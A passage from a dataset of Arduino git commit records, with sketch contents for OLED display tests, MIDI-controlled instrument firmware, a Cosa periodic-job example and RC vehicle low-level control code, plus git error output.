\/\/display.println(\"Hello, world!\");\n \/\/display.setTextColor(BLACK, WHITE); \/\/ 'inverted' text\n \/\/display.println(3.141592);\n display.setTextSize(4);\n display.setTextColor(WHITE);\n display.print(oldPosition);\n display.display();\n } \n}\n\n\n\n\n\nvoid testdrawchar(void) {\n display.setTextSize(1);\n display.setTextColor(WHITE);\n display.setCursor(0,0);\n\n for (uint8_t i=0; i < 168; i++) {\n if (i == '\\n') continue;\n display.write(i);\n if ((i > 0) && (i % 21 == 0))\n display.println();\n } \n display.display();\n}\n\nvoid testdrawcircle(void) {\n for (int16_t i=0; i<display.height(); i+=2) {\n display.drawCircle(display.width()\/2, display.height()\/2, i, WHITE);\n display.display();\n }\n}\n\nvoid testfillrect(void) {\n uint8_t color = 1;\n for (int16_t i=0; i<display.height()\/2; i+=3) {\n \/\/ alternate colors\n display.fillRect(i, i, display.width()-i*2, display.height()-i*2, color%2);\n display.display();\n color++;\n }\n}\n\nvoid testdrawtriangle(void) {\n for (int16_t i=0; i<min(display.width(),display.height())\/2; i+=5) {\n display.drawTriangle(display.width()\/2, display.height()\/2-i,\n display.width()\/2-i, display.height()\/2+i,\n display.width()\/2+i, display.height()\/2+i, WHITE);\n display.display();\n }\n}\n\nvoid testfilltriangle(void) {\n uint8_t color = WHITE;\n for (int16_t i=min(display.width(),display.height())\/2; i>0; i-=5) {\n display.fillTriangle(display.width()\/2, display.height()\/2-i,\n display.width()\/2-i, display.height()\/2+i,\n display.width()\/2+i, display.height()\/2+i, WHITE);\n if (color == WHITE) color = BLACK;\n else color = WHITE;\n display.display();\n }\n}\n\nvoid testdrawroundrect(void) {\n for (int16_t i=0; i<display.height()\/2-2; i+=2) {\n display.drawRoundRect(i, i, display.width()-2*i, display.height()-2*i, display.height()\/4, WHITE);\n display.display();\n }\n}\n\nvoid testfillroundrect(void) {\n uint8_t color = WHITE;\n for (int16_t i=0; i<display.height()\/2-2; i+=2) {\n display.fillRoundRect(i, i, display.width()-2*i, display.height()-2*i, display.height()\/4, color);\n if (color == WHITE) color = BLACK;\n else color = WHITE;\n display.display();\n }\n}\n \nvoid testdrawrect(void) {\n for (int16_t i=0; i<display.height()\/2; i+=2) {\n display.drawRect(i, i, display.width()-2*i, display.height()-2*i, WHITE);\n display.display();\n }\n}\n\nvoid testdrawline() { \n for (int16_t i=0; i<display.width(); i+=4) {\n display.drawLine(0, 0, i, display.height()-1, WHITE);\n display.display();\n }\n for (int16_t i=0; i<display.height(); i+=4) {\n display.drawLine(0, 0, display.width()-1, i, WHITE);\n display.display();\n }\n delay(250);\n \n display.clearDisplay();\n for (int16_t i=0; i<display.width(); i+=4) {\n display.drawLine(0, display.height()-1, i, 0, WHITE);\n display.display();\n }\n for (int16_t i=display.height()-1; i>=0; i-=4) {\n display.drawLine(0, display.height()-1, display.width()-1, i, WHITE);\n display.display();\n }\n delay(250);\n \n display.clearDisplay();\n for (int16_t i=display.width()-1; i>=0; i-=4) {\n display.drawLine(display.width()-1, display.height()-1, i, 0, WHITE);\n display.display();\n }\n for (int16_t i=display.height()-1; i>=0; i-=4) {\n display.drawLine(display.width()-1, display.height()-1, 0, i, WHITE);\n display.display();\n }\n delay(250);\n\n display.clearDisplay();\n for (int16_t i=0; i<display.height(); i+=4) {\n display.drawLine(display.width()-1, 0, 0, i, WHITE);\n display.display();\n }\n for (int16_t i=0; i<display.width(); i+=4) {\n display.drawLine(display.width()-1, 0, i, display.height()-1, WHITE); \n display.display();\n }\n delay(250);\n}\n\nvoid testscrolltext(void) {\n display.setTextSize(2);\n display.setTextColor(WHITE);\n display.setCursor(10,0);\n display.clearDisplay();\n display.println(\"scroll\");\n display.display();\n \n display.startscrollright(0x00, 0x0F);\n delay(2000);\n display.stopscroll();\n delay(1000);\n display.startscrollleft(0x00, 0x0F);\n delay(2000);\n display.stopscroll();\n delay(1000); \n display.startscrolldiagright(0x00, 0x07);\n delay(2000);\n display.startscrolldiagleft(0x00, 0x07);\n delay(2000);\n display.stopscroll();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Margoulineur2000.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"baa1f7e4d286181e36ee9a6bb73c8737151eb440","subject":"Add test of the preceding commit","message":"Add test of the preceding commit\n","repos":"AGilchrist0\/balloon","old_file":"test\/test.ino","new_file":"test\/test.ino","new_contents":"\/* Code to test that the output to the pi is working.\n Requires an analog temperature sensor that is included in an Arduino starter\n kit *\/\n\nconst int tempPin = A0;\n\nconst float baselineTemp = 20.0;\n\n#include <serial.h>\nSerial mySerial;\nPrintWriter output;\n\nvoid setup() {\n mySerial = new Serial( this, Serial.list()[0], 9600 );\n output = createWriter( \"data.txt\" );\n}\n\nvoid loop() {\n int temp = analogRead(tempPin);\n temp = (temp \/ 1024.0) * 5.0;\n temp = (temp - 0.5) * 100;\n Serial.println(temp);\n}\n\nvoid draw() {\n if (mySerial.available() > 0 ) {\n String value = mySerial.readString();\n if ( value != null ) {\n output.println( value );\n }\n }\n}\n\nvoid keyPressed() {\n output.flush(); \/\/ Writes the remaining data to the file\n output.close(); \/\/ Finishes the file\n exit(); \/\/ Stops the program\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'test\/test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1f79474ddecc4140a0df05e92649793ede4d9a90","subject":"fixed comments","message":"fixed comments\n","repos":"danwahl\/intercom-arduino","old_file":"intercom-arduino.ino","new_file":"intercom-arduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/danwahl\/intercom-arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"9bd4ae52b8e7ab6dd177d3b039515e352b30bd5f","subject":"Upload ensemble two firmeware","message":"Upload ensemble two firmeware\n","repos":"Sonoscopia\/Phobos,Sonoscopia\/Phobos,Sonoscopia\/Phobos","old_file":"Ensembles\/EnsembleTwo\/firmeware\/EnsembleTwo_firmeware\/EnsembleTwo_firmeware.ino","new_file":"Ensembles\/EnsembleTwo\/firmeware\/EnsembleTwo_firmeware\/EnsembleTwo_firmeware.ino","new_contents":"\/* PHOBOS - EnsembleTwo firmware v.0.2 (27.05.2017)\n * \n * using: \n * Arduino v1.8.0\n * MIDI_Library v.4.3.1 by fortyseveneffects\n * \n * plays: \n * A - 4 motors on steel tubes\n * B - 4 motors on steel rods\n * C - 4 solenoids on steel bars\n * D - 3 solenoids on two membranes and one metal gong\n *\/\n\n#include <MIDI.h>\n#define MIDICH 2\n\n\/\/ STEEL TUBES' PINS\n#define A1 10\n#define A2 11\n#define A3 12 \n#define A4 13\n\/\/ STEEL RODS' PINS\n#define B1 6\n#define B2 7\n#define B3 8\n#define B4 9\n\/\/ STEEL BARS' PINS\n#define C1 2\n#define C2 3\n#define C3 4\n#define C4 5\n\/\/ DRUMS&GONG'S PINS\n#define D1 44\n#define D2 45\n#define D3 46\n\n\/\/ make note to pin array\nbyte note2pin[38];\nbyte vel, pitch;\n\nMIDI_CREATE_DEFAULT_INSTANCE();\n\nvoid setup() {\n MIDI.begin(MIDICH); \/\/ Launch MIDI and listen to channel 1\n MIDI.turnThruOn();\n \n \/\/ set output pins\n pinMode(A1, OUTPUT);\n pinMode(A2, OUTPUT);\n pinMode(A3, OUTPUT);\n pinMode(A4, OUTPUT);\n \n pinMode(B1, OUTPUT);\n pinMode(B2, OUTPUT);\n pinMode(B3, OUTPUT);\n pinMode(B4, OUTPUT);\n \n pinMode(C1, OUTPUT);\n pinMode(C2, OUTPUT);\n pinMode(C3, OUTPUT);\n pinMode(C4, OUTPUT);\n \n pinMode(D1, OUTPUT);\n pinMode(D2, OUTPUT);\n pinMode(D3, OUTPUT);\n \n \/\/ set note2pin array\n note2pin[0] = A1;\n note2pin[1] = A2;\n note2pin[2] = A3;\n note2pin[3] = A4; \n\n note2pin[12] = B1;\n note2pin[13] = B2;\n note2pin[14] = B3;\n note2pin[15] = B4;\n\n note2pin[24] = C1;\n note2pin[25] = C2;\n note2pin[26] = C3;\n note2pin[27] = C4;\n\n note2pin[36] = D1;\n note2pin[37] = D2;\n note2pin[48] = D3;\n}\n\nvoid loop() {\n if(MIDI.read()){\n switch(MIDI.getType(){\n case midi::NoteOn:\n pitch = MIDI.getData1();\n vel = MIDI.getData2();\n analogWrite(note2pin[pitch], vel << 1);\n break;\n\n case midi::NoteOff:\n pitch = MIDI.getData1();\n analogWrite(note2pin[pitch], LOW);\n break;\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Ensembles\/EnsembleTwo\/firmeware\/EnsembleTwo_firmeware\/EnsembleTwo_firmeware.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0eca1296a42dad8e8883dee19234e67ac55f6b07","subject":"Added basic test sketch w\/ white color","message":"Added basic test sketch w\/ white color\n","repos":"labfab\/vitrines-io,labfab\/vitrines-io,labfab\/vitrines-io,labfab\/vitrines-io","old_file":"src\/arduino\/BasicTestWithoutWhite\/BasicTestWithoutWhite.ino","new_file":"src\/arduino\/BasicTestWithoutWhite\/BasicTestWithoutWhite.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/labfab\/vitrines-io.git\/'\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"59b9bb53e7e7e2a51c614046f1584a32c04694f2","subject":"Hierarchical job example sketch.","message":"Hierarchical job example sketch.\n","repos":"mikaelpatel\/Cosa,jeditekunum\/Cosa,mikaelpatel\/Cosa,jeditekunum\/Cosa,jeditekunum\/Cosa,dansut\/Cosa,jeditekunum\/Cosa,dansut\/Cosa,mikaelpatel\/Cosa,dansut\/Cosa,mikaelpatel\/Cosa,dansut\/Cosa","old_file":"examples\/Time\/CosaJobs\/CosaJobs.ino","new_file":"examples\/Time\/CosaJobs\/CosaJobs.ino","new_contents":"\/**\n * @file CosaJobs.ino\n * @version 1.0\n *\n * @section License\n * Copyright (C) 2015, Mikael Patel\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * @section Description\n * Demonstrate Hierarchical Periodic functions. Periodic LED class\n * will toggle pin for a given number of steps and stop. A Periodic\n * Controller class is used to start the LED. The LED class uses\n * on_expired() for the behavior, while the Controller uses an\n * event and the run() member function.\n *\n * This file is part of the Arduino Che Cosa project.\n *\/\n\n#include \"Cosa\/Event.hh\"\n#include \"Cosa\/Periodic.hh\"\n#include \"Cosa\/OutputPin.hh\"\n\n\/\/ Configuration; trace and timer source (RTT\/Watchdog)\n#define USE_TRACE_CONTROLLER\n#define USE_RTT_TIMER\n\/\/ #define USE_WATCHDOG_TIMER\n\n#if defined(USE_TRACE_CONTROLLER)\n#include \"Cosa\/UART.hh\"\n#include \"Cosa\/Trace.hh\"\n#endif\n\n#if defined(USE_RTT_TIMER)\n#include \"Cosa\/RTT.hh\"\n#define TIMER RTT\n#define TIMESTAMP() micros() \/ 1000\n#define MS(ms) ms * 1000L\n#endif\n\n#if defined(USE_WATCHDOG_TIMER)\n#include \"Cosa\/Watchdog.hh\"\n#define TIMER Watchdog\n#define TIMESTAMP() millis()\n#define MS(ms) ms\n#endif\n\nclass LED : public Periodic, public OutputPin {\npublic:\n const uint16_t STEP_MAX;\n\n LED(Job::Scheduler* scheduler, uint32_t period, uint16_t steps) :\n Periodic(scheduler, period),\n OutputPin(Board::LED, 0),\n STEP_MAX(steps),\n m_step(0),\n m_cycles(0)\n {}\n\n virtual void on_expired()\n {\n if (m_step < STEP_MAX) {\n toggle();\n m_cycles += 1;\n m_step += 1;\n reschedule();\n }\n else {\n off();\n m_step = 0;\n }\n }\n\n uint32_t cycles() const\n {\n return (m_cycles);\n }\n\nprivate:\n uint16_t m_step;\n uint32_t m_cycles;\n};\n\nclass Controller : public Periodic {\npublic:\n Controller(Job::Scheduler* scheduler, uint32_t period, LED* led) :\n Periodic(scheduler, period),\n m_led(led)\n {}\n\n virtual void run()\n {\n#if defined(USE_TRACE_CONTROLLER)\n uint32_t timestamp = TIMER::TIMESTAMP();\n uint16_t cycles = m_led->cycles();\n#endif\n m_led->expire_at(expire_at());\n m_led->start();\n#if defined(USE_TRACE_CONTROLLER)\n trace << timestamp << ':' << cycles << endl;\n#endif\n }\n\nprivate:\n LED* m_led;\n};\n\nTIMER::Scheduler scheduler;\nLED led(&scheduler, MS(200L), 10);\nController controller(&scheduler, MS(5000L), &led);\n\nvoid setup()\n{\n#if defined(USE_TRACE_CONTROLLER)\n uart.begin(9600);\n trace.begin(&uart, PSTR(\"CosaJobs: started\"));\n trace.flush();\n#endif\n controller.start();\n TIMER::begin();\n}\n\nvoid loop()\n{\n Event::service();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Time\/CosaJobs\/CosaJobs.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"ce2eb5285116b432f5ed61452d83c5d11a52ae55","subject":"Named interrupt routines and simplified","message":"Named interrupt routines and simplified\n","repos":"jbobotek\/elcano,jbobotek\/elcano,jbobotek\/elcano,jbobotek\/elcano,jbobotek\/elcano,jbobotek\/elcano","old_file":"Elcano_C2_LowLevel\/Elcano_C2_LowLevel\/Elcano_C2_LowLevel.ino","new_file":"Elcano_C2_LowLevel\/Elcano_C2_LowLevel\/Elcano_C2_LowLevel.ino","new_contents":"\n#include <SPI.h>\n#include <Elcano_Serial.h>\n#define LOOP_TIME_MS 200\n#define ERROR_HISTORY 20\n\n\/\/ New section TCF 9\/17\/15\n#define VEHICLE_NUMBER 1\n#define RC_SPEKTRUM \n#undef RC_HITEC\n\n#if (VEHICLE_NUMBER == 1)\n\/\/OUTPUT values - 0 to 255\n#define MIN_ACC_OUT 40\n#define MAX_ACC_OUT 227\n#define MIN_BRAKE_OUT 180\n#define MAX_BRAKE_OUT 250\n#define RIGHT_TURN_OUT 146\n#define LEFT_TURN_OUT 230\n#define STRAIGHT_TURN_OUT 180\n#define DAC_CHANNEL 0\n#define STEER_OUT_PIN 7 \/\/ Output to steer actuator\n#define BRAKE_OUT_PIN 6 \/\/ output to brake actuator\n\n\/*================ReadTurnAngle 1================*\/\n\/\/ Value measured at analog input A3 from right steering column when wheels pointed straight ahead.\n\/\/ An analog voltage can be 0 to 5V, which correspond to angles from 0 to 360 degrees.\n\/\/ Analog input reads this as a value form 0 to 1024.\n\/\/ We may want to mount the sensors so that straight is close to 500.\n\/\/ This number is not critical, since actual wheel turn range is much less than 360\n#define RIGHT_STRAIGHT_A3 181\n\/\/ Value measured at analog input A2 from left steering column when wheels pointed straight ahead.\n#define LEFT_STRAIGHT_A2 181\n\/\/ Calibration constants\n\/\/ Aangle (degrees) = (Value - RIGHT_STRAIGHT_A3) * RIGHT_DEGx1000pCOUNT \/ 1000\n#define RIGHT_DEGx1000pCOUNT 3333\n#define LEFT_DEGx1000pCOUNT 3333\n\/\/ A correct sensor will produce a reading between these values\n#define RIGHT_MIN_COUNT 80\n#define RIGHT_MAX_COUNT 284\n#define LEFT_MIN_COUNT 80\n#define LEFT_MAX_COUNT 284\n\n#endif\n\n#if (VEHICLE_NUMBER == 2)\n\n\/\/OUTPUT values - 0 to 255\n#define MIN_ACC_OUT 40\n#define MAX_ACC_OUT 227\n#define MIN_BRAKE_OUT 180\n#define MAX_BRAKE_OUT 250\n#define RIGHT_TURN_OUT 146 \/\/ Original value 146\n#define LEFT_TURN_OUT 223 \/\/ Original value 230\n#define STRAIGHT_TURN_OUT 182 \/\/ Original value 187\n\n#define DAC_CHANNEL 3\n#define STEER_OUT_PIN 7 \/\/ Output to steer actuator\n#define BRAKE_OUT_PIN 9 \/\/ output to brake actuator\n\n\/*================ReadTurnAngle 2================*\/\n#define RIGHT_STRAIGHT_A3 515 \/\/ Original value 181\n#define LEFT_STRAIGHT_A2 522 \/\/ Original value 181\n#define RIGHT_DEGx1000pCOUNT 3333\n#define LEFT_DEGx1000pCOUNT 3333\n#define RIGHT_MIN_COUNT 466 \/\/ Original value 80\n#define RIGHT_MAX_COUNT 557 \/\/ Original value 284\n#define LEFT_MIN_COUNT 465 \/\/ Original value 80\n#define LEFT_MAX_COUNT 559 \/\/ Original value 284\n\n#endif\n\/\/ End new section\n\n\/\/ Channel order differs for differernt vehicles\n\/\/ Indices for information stored in array RC_results\n\/\/ Right joystick left\/right to D21\n#define RC_TURN 1\n#define RC_AUTO 2\n\/\/ Right joystick up\/down to D19\n#define RC_GO 3\n\/\/ Red (Gear) Switch to D18\n#define RC_ESTP 4\n\/\/ Left joystick left\/right to D20 \n#define RC_RDR 5\n\/\/ Left joystick up\/down to D2\n#define RC_RVS 6\n\/\/ There are six channels, but we are limited to five interrupts\n#define NUMBER_CHANNELS 6\n\n#define ProcessFallOfINT(Index) RC_results[Index]=(micros()-RC_results[Index])\n#define ProcessRiseOfINT(Index) RC_results[Index]=micros()\n\n\/\/ TO DO: Throttle and brake values should be in a header file and depend on vehicle number.\n\/\/ Values to send over DAC\nconst int FullThrottle = 227; \/\/ 3.63 V\nconst int MinimumThrottle = 70; \/\/ Throttle has no effect until 1.2 V\n\/\/ Values to send on PWM to get response of actuators\nconst int FullBrake = 167; \/\/ start with a conservative value; could go as high as 255; \nconst int NoBrake = 207; \/\/ start with a conservative value; could go as low as 127;\n\n\/\/RC input values - pulse widths in microseconds\nconst int LONG_DEADZONE_THRESHOLD = 10000; \/\/ used for syncing to determine if the last down time was the long down zone\nconst int DEAD_ZONE = 75;\nconst int MIDDLE = 1500; \/\/ was 1322; new stable value = 1510\n\/\/ extremes of RC pulse width\nconst int MIN_RC = 1090; \/\/ was 911;\nconst int MAX_RC = 1930; \/\/ was 1730;\nconst int CYCLE_MAX = 25000; \/\/ Pulses come at 42.27 Hz, every 21155 us\nconst int MAX_PULSE = 4000; \/\/ Next pulse should be no longer than this time from last.\n\nconst int SelectCD = 49; \/\/ Select IC 3 DAC (channels C and D)\nconst int SelectAB = 53; \/\/ Select IC 2 DAC (channels A and B)\n\nconst unsigned long INVALID_DATA = 0;\nvolatile int rc_index = 0;\nvolatile unsigned long RC_results[7];\nvolatile boolean synced = false;\nvolatile unsigned long last_fallingedge_time = 4294967295; \/\/ max long\nvolatile int RC_Done[7] = {0,0,0,0,0,0,0};\n\n\/\/ interrupt number handling a function depends on the RC controller.\n\n#ifdef RC_SPEKTRUM\nconst int IRPT_RVS = 0; \/\/ D2 = Int 0 \nconst int IRPT_TURN = 2; \/\/ D21 = Int 2 \nconst int IRPT_GO = 3; \/\/ D20 = Int 3 \nconst int IRPT_RDR = 4; \/\/ D19 = Int 4\nconst int IRPT_ESTOP = 5; \/\/ D18 = Int 5\n#endif\n\n#ifdef RC_HITEC\nconst int IRPT_RVS = 0; \/\/ D2 = Int 0 \nconst int IRPT_TURN = 2; \/\/ D21 = Int 2 \nconst int IRPT_GO = 3; \/\/ D20 = Int 3 \nconst int IRPT_RDR = 4; \/\/ D19 = Int 4\nconst int IRPT_ESTOP = 5; \/\/ D18 = Int 5\n#endif\n\/\/ D3 = Int 1 Wheel Click\n\n\/\/ globals\nlong sensor_speed_mmPs = 0;\nlong drive_speed_mmPs = 0;\nchar IncomingMessage[BUFFER_SIZE];\nint InIndex=0;\nint throttle_control = MinimumThrottle;\nint brake_control = FullBrake;\n\/\/ int steer_control = Straight;\nlong speed_errors[ERROR_HISTORY];\n\/*================Read Turn Angle=================*\/\nlong old_turn_degx1000, older_turn_degx1000;\nlong expected_turn_degx1000;\n\nvoid ISR_TURN_rise() {\n noInterrupts();\n ProcessRiseOfINT(RC_TURN);\n attachInterrupt(IRPT_TURN, ISR_TURN_fall, FALLING);\n interrupts();\n}\n\nvoid ISR_RDR_rise() {\n noInterrupts();\n ProcessRiseOfINT(RC_RDR);\n attachInterrupt(IRPT_RDR, ISR_RDR_fall, FALLING);\n interrupts();\n}\n\nvoid ISR_GO_rise() {\n noInterrupts();\n ProcessRiseOfINT(RC_GO);\n attachInterrupt(IRPT_GO, ISR_GO_fall, FALLING);\n interrupts();\n}\n\nvoid ISR_ESTOP_rise() {\n noInterrupts();\n ProcessRiseOfINT(RC_ESTP);\n attachInterrupt(IRPT_ESTOP, ISR_ESTOP_fall, FALLING);\n interrupts();\n}\n\nvoid ISR_RVS_rise() {\n noInterrupts();\n ProcessRiseOfINT(RC_RVS);\n attachInterrupt(IRPT_RVS, ISR_RVS_fall, FALLING);\n interrupts();\n}\n\nvoid ISR_TURN_fall() { \n noInterrupts();\n ProcessFallOfINT(RC_TURN);\n RC_Done[RC_TURN] = 1;\n attachInterrupt(IRPT_TURN, ISR_TURN_rise, RISING);\n interrupts();\n}\n\nvoid ISR_RDR_fall() {\n noInterrupts();\n ProcessFallOfINT(RC_RDR);\n RC_Done[RC_RDR] = 1;\n attachInterrupt(IRPT_RDR, ISR_RDR_rise, RISING);\n interrupts();\n}\n\nvoid ISR_GO_fall() {\n noInterrupts();\n ProcessFallOfINT(RC_GO);\n RC_Done[RC_GO] = 1;\n attachInterrupt(IRPT_GO, ISR_GO_rise, RISING);\n interrupts();\n}\nvoid ISR_ESTOP_fall() { \n noInterrupts();\n ProcessFallOfINT(RC_ESTP);\n RC_Done[RC_ESTP] = 1;\n attachInterrupt(IRPT_ESTOP, ISR_ESTOP_rise, RISING);\n interrupts();\n}\n\nvoid ISR_RVS_fall() {\n noInterrupts();\n ProcessFallOfINT(RC_RVS);\n RC_Done[RC_RVS] = 1;\n attachInterrupt(IRPT_RVS, ISR_RVS_rise, RISING);\n interrupts();\n}\n\nvoid initialize()\n{\n for (int i = 0; i < ERROR_HISTORY; i++)\n {\n speed_errors[i] = 0;\n }\n \n}\nvoid setup()\n{ \/\/Set up pins\n pinMode(BRAKE_OUT_PIN, OUTPUT);\n pinMode(STEER_OUT_PIN, OUTPUT);\n \/\/ SPI: set the slaveSelectPin as an output:\n pinMode (SelectAB, OUTPUT);\n pinMode (SelectCD, OUTPUT);\n pinMode (10, OUTPUT);\n SPI.setDataMode( SPI_MODE0);\n SPI.setBitOrder( MSBFIRST);\n \/\/ initialize SPI:\n \/\/ The following line should not be neccessary. It uses a system library.\n PRR0 &= ~4; \/\/ turn off PRR0.PRSPI bit so power isn't off\n SPI.begin();\n for (int channel = 0; channel < 4; channel++)\n DAC_Write (channel, 0); \/\/ reset did not clear previous states\n Serial.begin(9600);\n rc_index = 0;\n for (int i = 0; i < 8; i++)\n RC_results[i] = INVALID_DATA;\n initialize();\n\n setupWheelRev(); \/\/ WheelRev4 addition\n\n attachInterrupt(IRPT_TURN, ISR_TURN_rise, RISING);\n attachInterrupt(IRPT_RDR, ISR_RDR_rise, RISING);\n attachInterrupt(IRPT_GO, ISR_GO_rise, RISING);\n attachInterrupt(IRPT_ESTOP, ISR_ESTOP_rise, RISING);\n attachInterrupt(IRPT_RVS, ISR_RVS_rise, RISING);\n\n old_turn_degx1000 = older_turn_degx1000 = expected_turn_degx1000 = 0; \/\/ ReadTurnAngle addition\n}\nvoid loop() {\n SerialData Results;\n unsigned long Start_us = micros();\n unsigned long time, endTime;\n time = millis();\n endTime = time + LOOP_TIME_MS ;\n \n startCapturingRCState();\n \n unsigned long local_results[7];\n\/* delay (10);\n for (int j = 2; j < 7; j++)\n {\n Serial.print(RC_Done[j]); Serial.print(\"\\t\");\n }\n *\/\n while (!(RC_Done[RC_ESTP] == 1 && RC_Done[RC_GO] == 1 && RC_Done[RC_TURN] == 1 && \n RC_Done[RC_RVS] == 1 && RC_Done[RC_RDR] == 1))\n ;\n \/\/ got data; \n for (int i = 0; i < 8; i++)\n local_results[i] = RC_results[i];\n unsigned long Elapsed_us = micros() - Start_us;\n Serial.print(Start_us); Serial.print(\"\\t\");\n Serial.print(Elapsed_us); Serial.print(\"\\t\");\n Serial.print(local_results[0]); Serial.print(\"\\t\");\n Serial.print(local_results[1]); Serial.print(\"\\t\");\n Serial.print(local_results[2]); Serial.print(\"\\t\");\n Serial.print(local_results[3]); Serial.print(\"\\t\");\n Serial.print(local_results[4]); Serial.print(\"\\t\");\n Serial.print(local_results[5]); Serial.print(\"\\t\");\n Serial.println(local_results[6]);\n \n processRC(local_results);\n Results.Clear();\n Results.kind = MSG_SENSOR;\n Results.angle_deg = TurnAngle_degx10() \/ 10;\n show_speed (&Results);\n delay(500);\n\/* while (time < endTime)\n {\n time = millis();\n }\n*\/\n}\n\nvoid startCapturingRCState()\n{\n for (int i = 1; i < 7; i++) {\n RC_Done[i] = 0;\n }\n}\n\n\/\/ processRC modified by TCF 9\/17\/15\nvoid processRC (unsigned long *RC_results)\n{ \n \/\/ 1st pulse is aileron (position 5 on receiver; controlled by Right left\/right joystick on transmitter)\n \/\/ used for Steering\n int aileron = RC_results[RC_TURN];\n RC_results[RC_TURN] = convertTurn(aileron);\n \n \/* 2nd pulse is aux (position 1 on receiver; controlled by flap\/gyro toggle on transmitter) \n will be used for selecting remote control or autonomous control. *\/\n if (NUMBER_CHANNELS > 5) \n RC_results[RC_AUTO] = (RC_results[RC_AUTO] > MIDDLE? HIGH: LOW);\n\n \/* 4th pulse is gear (position 2 on receiver; controlled by gear\/mode toggle on transmitter) \n will be used for emergency stop. D38 *\/\n RC_results[RC_ESTP] = (RC_results[RC_ESTP] > MIDDLE? HIGH: LOW);\n \n if (RC_results[RC_ESTP] == HIGH)\n {\n E_Stop();\n if (RC_results[RC_AUTO] == HIGH && NUMBER_CHANNELS > 5) \/\/ under RC control\n steer(RC_results[RC_TURN]); \n return;\n }\n if ( RC_results[RC_AUTO] == LOW && NUMBER_CHANNELS > 5)\n return; \/\/ not under RC control\n\n \/* 6th pulse is marked throttle (position 6 on receiver; controlled by Left up\/down joystick on transmitter). \n It will be used for shifting from Drive to Reverse . D40\n *\/\n RC_results[RC_RVS] = (RC_results[RC_RVS] > MIDDLE? HIGH: LOW);\n \n\/\/ TO DO: Select Forward \/ reverse based on RC_results[RC_RVS]\n\n \n \/* 3rd pulse is elevator (position 4 on receiver; controlled by Right up\/down. \n will be used for throttle\/brake: RC_Throttle\n *\/\n \/\/ Braking or Throttle\n if (liveBrake(RC_results[RC_GO])) \n brake(convertBrake(RC_results[RC_GO]));\n else\n brake(MIN_BRAKE_OUT);\n \/\/Accelerating\n if(liveThrottle(RC_results[RC_GO]))\n moveVehicle(convertThrottle(RC_results[RC_GO]));\n else\n moveVehicle(MIN_ACC_OUT);\n \n steer(RC_results[RC_TURN]); \n \n \/* 5th pulse is rudder (position 3 on receiver; controlled by Left left\/right joystick on transmitter) \n Not used *\/\n RC_results[RC_RDR] = (RC_results[RC_RDR] > MIDDLE? HIGH: LOW); \/\/ could be analog\n\n}\n\/\/Converts RC values to corresponding values for the PWM output\nint convertTurn(int input)\n{\n long int steerRange, rcRange;\n long output;\n int trueOut;\n\/\/ Check if Input is in steer dead zone\n if (input <= MIDDLE + DEAD_ZONE && input >= MIDDLE - DEAD_ZONE)\n return STRAIGHT_TURN_OUT;\n \/\/ MIN_RC = 1 msec = right; MAX_RC = 2 msec = left\n \/\/ LEFT_TURN_OUT > RIGHT_TURN_OUT\n \n if (input > MIDDLE + DEAD_ZONE)\n { \/\/ left turn\n steerRange = LEFT_TURN_OUT - STRAIGHT_TURN_OUT;\n rcRange = MAX_RC - (MIDDLE + DEAD_ZONE);\n input = input - MIDDLE - DEAD_ZONE; \/\/ originally input = middle + dead_zone\n output = STRAIGHT_TURN_OUT + input * steerRange \/ rcRange;\n \/\/set max and min values if out of range\n trueOut = (int)output;\n if(trueOut > LEFT_TURN_OUT)\n trueOut = LEFT_TURN_OUT;\n if(trueOut < STRAIGHT_TURN_OUT)\n trueOut = STRAIGHT_TURN_OUT;\n return trueOut;\n }\n if (input < MIDDLE - DEAD_ZONE)\n { \/\/ right turn\n steerRange = STRAIGHT_TURN_OUT - RIGHT_TURN_OUT;\n rcRange = MIDDLE - DEAD_ZONE - MIN_RC;\n input = input - DEAD_ZONE - MIDDLE; \/\/ input is negative\n output = STRAIGHT_TURN_OUT + input * steerRange \/ rcRange;\n \/\/set max and min values if out of range\n trueOut = (int)output;\n if(trueOut < RIGHT_TURN_OUT)\n trueOut = RIGHT_TURN_OUT;\n if(trueOut > STRAIGHT_TURN_OUT)\n trueOut = STRAIGHT_TURN_OUT;\n return trueOut;\n }\n}\nint convertBrake(int input)\n{\n if (input < (MIDDLE + MIN_RC)\/2)\n return MAX_BRAKE_OUT;\n else\n return MIN_BRAKE_OUT; \n}\nint convertThrottle(int input)\n{\n \/\/full throttle = 227, min = 40\n const int dacRange = MAX_ACC_OUT - MIN_ACC_OUT;\n const int rcRange = MAX_RC - (MIDDLE + DEAD_ZONE);\n input -= (MIDDLE + DEAD_ZONE);\n double output = (double)input \/(double)rcRange;\n output *= dacRange;\n output += MIN_ACC_OUT;\n \/\/set max values if out of range\n int trueOut = (int)output;\n if(trueOut > MAX_ACC_OUT)\n trueOut = MAX_ACC_OUT;\n return trueOut;\n}\n\/\/Tests for inputs\n\/\/ Input not in throttle dead zone\nboolean liveThrottle(int acc)\n{\n return (acc > MIDDLE + 